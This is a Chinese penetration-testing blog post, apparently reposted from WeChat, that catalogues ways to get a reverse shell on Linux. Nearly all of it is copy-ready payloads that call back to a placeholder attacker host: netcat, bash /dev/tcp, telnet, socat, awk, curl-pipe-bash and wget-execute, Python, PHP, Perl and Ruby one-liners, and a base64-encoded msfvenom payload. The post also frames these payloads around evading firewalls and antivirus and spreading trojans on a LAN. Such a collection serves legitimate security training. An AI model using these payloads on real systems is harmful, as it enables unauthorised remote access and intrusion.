在渗透测试中,常常需要反弹shell,才能打开内网渗透的通道,以及后续的权限维持。但是由于各种原因,并不是每一次反弹都是非常顺利。因此,本文总结并分析多种反弹shell的方式,希望帮助各位实战的师傅。
原理
场景
- 由于防火墙等的控制访问策略,客户端无法访问服务端,但服务端可以向外网发起请求
- IP会动态变化,攻击机无法直接连接
- 向局域网中的主机散播木马病毒等,网络环境未知的情况下
- 服务端的AV对正向连接的流量检测非常严格,但是对出网流量校验不足
在不同的操作系统中,反弹shell的方式有所不同,这里就先总结Linux的反弹shell思路。
nc -l 9999
在不同的反弹shell方式中,都需要客户端监听,下文将不再赘述,仅讲述不同的反弹方式
Netcat 是 Linux 系统下常用的网络工具,当然也有Windows版本,在 Linux 下使用命令 nc
,前面的端口监听就是使用 Netcat
# 目标主机中执行的反弹命令
nc Your_IP Your_Port -e /bin/bash
Bash
# payload1
bash -i >& /dev/tcp/Your_IP/Your_Port 0>&1
# payload2
bash -c "bash -i >& /dev/tcp/Your_IP/Your_Port 0>&1"
payload分析
- bash -c
后加Linux命令,如:bash -c whoami
- bash -i
产生一个bash交互环境 - >&
将联合符号前面的内容与后面相结合,然后一起重定向给后者。 /dev/tcp/Your_IP/Your_Port
在Linux中,一切内容皆为文件,这里是与目标主机的指定端口建立一个TCP连接- 0>&1
将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容
Telnet
方法一
mknod a p; telnet Your_IP Your_Port 0<a | /bin/bash 1>a
方法二
nc -l Your_cmd_Port
nc -l Your_result_Port
telnet Your_IP Your_cmd_Port | /bin/bash | telnet Your_IP Your_result_Port
telnetd 程序,也可以利用其来开启正向的shell
目标主机开启监听
telnetd -p Your_Port -l /bin/sh
攻击主机正向连接
telnet Your_IP Your_Port
Socat
apt-get install socat
-
攻击主机开启监听,可以使用原来的nc,也可以一样使用 socat
socat TCP-LISTEN:2333 -
-
目标主机中触发
socat tcp-connect:Your_IP:Your_Port exec:'bash -li',pty,stderr,setsid,sigint,sane
awk
nc -l 9999
awk 'BEGIN{s="/inet/tcp/0/Your_IP/Your_Listening_Port";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
Curl
# 新建payload
cd /tmp
echo 'bash -c "bash -i >& /dev/tcp/Your_IP/Your_Port 0>&1"' > index.html
# 开启Web服务
python3 -m http.server 80
curl http://Your_IP|bash
TIPS:此处的IP可以是任意的可解析格式,如十进制、十六进制等等,可参考 SSRF 中的IP过滤绕过
wget
wget http://Your_IP -O /tmp/1.sh &&chmod 777 /tmp/1.sh && /tmp/1.sh
脚本反弹shell
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Your_IP",Your_Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
php -r '$sock=fsockopen("Your_IP","Your_Port");exec("/bin/sh -i <&3 >&3 2>&3");'
Perl
perl -e 'use Socket;$i="Your_IP";$p=Your_Port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
ruby
ruby -rsocket -e 'c=TCPSocket.new("Your_IP","Your_Port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Metasploit
# 1. 查询payload
msfvenom -l payloads | grep 'cmd/unix/reverse'
# 2. 生成反弹 shell 的 payload
msfvenom -p cmd/unix/reverse_python LHOST=Your_IP LPORT=Your_Port -f raw
# 3. 先开启监听,再将生成的payload在目标主机执行即可
Payload size: 517 bytes
python -c "exec('aW1wb3J0IHNvY2tldCwgICAgc3VicHJvY2VzcywgICAgb3MgICAgIDsgICAgICAgIGhvc3Q9IjE5Mi4xNjguMS4xIiAgICAgOyAgICAgICAgcG9ydD04MDAwICAgICA7ICAgICAgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsICAgIHNvY2tldC5TT0NLX1NUUkVBTSkgICAgIDsgICAgICAgIHMuY29ubmVjdCgoaG9zdCwgICAgcG9ydCkpICAgICA7ICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksICAgIDApICAgICA7ICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksICAgIDEpICAgICA7ICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksICAgIDIpICAgICA7ICAgICAgICBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik='.decode('base64'))"
进行 Base64 解码后就会发现,生成的就是 Python中的 payload
以上就是 Linux 中常见的反弹shell方式,希望能在渗透测试中,帮助各位师傅打开内网渗透测试的通道。除了 Linux 操作系统,在内网机器中,Windows主机也非常常见,下一篇将会总结 Windows 下常见的反弹 shell 方式。
原文始发于微信公众号(银河护卫队super):渗透测试系列|反弹shell方式总结Linux篇
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论